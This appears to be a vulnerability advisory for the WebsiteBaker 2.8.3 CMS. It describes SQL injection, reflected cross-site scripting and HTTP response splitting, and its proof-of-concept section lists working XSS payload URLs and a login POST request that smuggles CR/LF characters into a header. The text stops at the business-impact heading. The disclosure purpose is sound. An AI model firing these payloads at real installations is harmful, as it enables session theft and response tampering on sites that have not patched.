  I. VULNERABILITY
  -------------------------
  Multiple Vulnerabilities in WebsiteBaker 2.8.3
  
  II. BACKGROUND
  -------------------------
  WebsiteBaker helps you to create the website you want: A free, easy and
  secure, flexible and extensible open source content management system (CMS).
  
  III. DESCRIPTION
  -------------------------
  It is possible to inject SQL code in the variable "id" on the page
  "modify.php". This bug was found using the portal without authentication.
  To exploit the vulnerability only is needed use the version 1.0 of the HTTP
  protocol to interact with the application.
  Has been detected a reflected XSS vulnerability in WebsiteBaker, that
  allows the execution of arbitrary HTML/script code to be executed in the
  context of the victim user's browser.
  An input validation problem exists within WebsiteBaker which allows
  injecting CR (carriage return - %0D or \r) and LF (line feed - %0A or \n)
  characters into the server HTTP response header, resulting in a HTTP
  Response Splitting Vulnerability.
  
  IV. PROOF OF CONCEPT
  -------------------------
  SQL Injection:
  
  /wb/admin/pages/modify.php?page_id=1
  
  Cross-Site Scripting GET:
  
  /wb/admin/admintools/tool.php?tool=captcha_control&6d442"><script>alert(1)</script>8e3b12642a8=1
  /wb/modules/edit_module_files.php?page_id=1&mod_dir=news&edit_file=frontend.css&action=edit&page_id=1&section_id=%007e393<script>alert(1)</script>9f8a40a7355f9acf0
  /wb/modules/news/add_post.php?page_id=1&section_id=f953a"><script>alert(1)</script>4ddf3369c1f
  /wb/modules/news/modify_group.php?page_id=1&section_id=%008cf03"><script>alert(1)</script>2680504c3ec&group_id=62be99873b33d1d3
  /wb/modules/news/modify_post.php?page_id=1&section_id=%003874a<script>alert(1)</script>4194d511605&post_id=db89943875a2db52
  /wb/modules/news/modify_settings.php?page_id=1&section_id=%008b2f4"><script>alert(1)</script>bdc8b3919b5
  
  HTTP RESPONSE SPLITTING:
  
  If you enter a valid user and password, you can inject on the headers
  malicious code, example.
  
  POST /wb/admin/login/index.php HTTP/1.1
  Content-Length: 204
  Content-Type: application/x-www-form-urlencoded
  Referer: http://192.168.244.129:80/wb/
  Host: 127.0.0.1
  Connection: Keep-alive
  Accept-Encoding: gzip,deflate
  User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML,
  like Gecko) Chrome/28.0.1500.63 Safari/537.36
  Accept: */*
  
  password_fieldname=password_nwh1uuwb&password_nwh1uuwb=VALIDPASS&remember=true&submit=Entrar&
  url=%0d%0a%20InjectedHeader:MaliciousCode&username_fieldname=username_nwh1uuwb&username_nwh1uuwb=adminResponse
  
  You can inject a new header named: InjectedHeader:MaliciousCode because we
  inject a CR&LF new line with %0d%0a%20.
  
  V. BUSINESS IMPACT
